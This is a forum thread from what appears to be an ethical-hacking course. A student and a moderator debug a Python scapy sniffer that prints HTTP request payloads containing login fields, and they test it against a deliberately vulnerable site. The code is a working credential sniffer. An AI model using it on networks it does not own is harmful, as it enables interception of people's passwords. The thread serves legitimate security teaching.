Viewing 8 posts - 1 through 8 (of 8 total)
  • Author
    Posts
  • #51626
    encryptedn00b
    Participant

    When I run the packet sniffer nothing shows on the terminal, yes I am sniffing on the localhost and the sites I am testing on are the dictionary.com site used in the lecture and steamylogin.com
    I was paying attention to the lecture and even checked the code multiple times. Maybe I’m just tired I don’t know.
    Here is my code.

    #!/usr/bin/env python
    import scapy.all as scapy
    from scapy.layers import http

    def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

    def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
    if packet.haslayer(scapy.Raw):
    load = packet[scapy.Raw].load
    if “username” in load:
    print(load)

    sniff(“eth0”)

    #51673
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Can you share your code with the porper indentation? Otherwise I can’t tell if there’s anything wrong with it.
    Also don’t use dictiorary.com as it uses https now a days. Please try it with http sites first, like this:

    http://testphp.vulnweb.com/

    Later on the course you’ll learn to bypass https.

    Let me know how it goes!
    Diego

    #51703
    encryptedn00b
    Participant

    For some reason I can’t copy and paste my code with proper indentation and I tried with the website you gave me and it still did not work. So I assume something is wrong with the indentation then.

    • This reply was modified 3 years, 11 months ago by encryptedn00b.
    • This reply was modified 3 years, 11 months ago by encryptedn00b.
    #51721
    Diego PérezDiego Pérez
    Moderator

    Hi!
    You can copy it and use the code button to keep indentation, or upload it to pastebin and share the link here.
    Greetings!
    Diego

    #51735
    encryptedn00b
    Participant

    https://pastebin.com/bzYb9JtC

    • This reply was modified 3 years, 10 months ago by encryptedn00b.
    • This reply was modified 3 years, 10 months ago by encryptedn00b.
    #51761
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Are you trying it in kali itself right? Can you cahnge username for uname in your code? Then try it again.

    Let me know how it goes!
    Diego

    #51801
    encryptedn00b
    Participant

    That works thank you

    #51832
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Cool you got it!
    Diego

Viewing 8 posts - 1 through 8 (of 8 total)
  • You must be logged in to reply to this topic.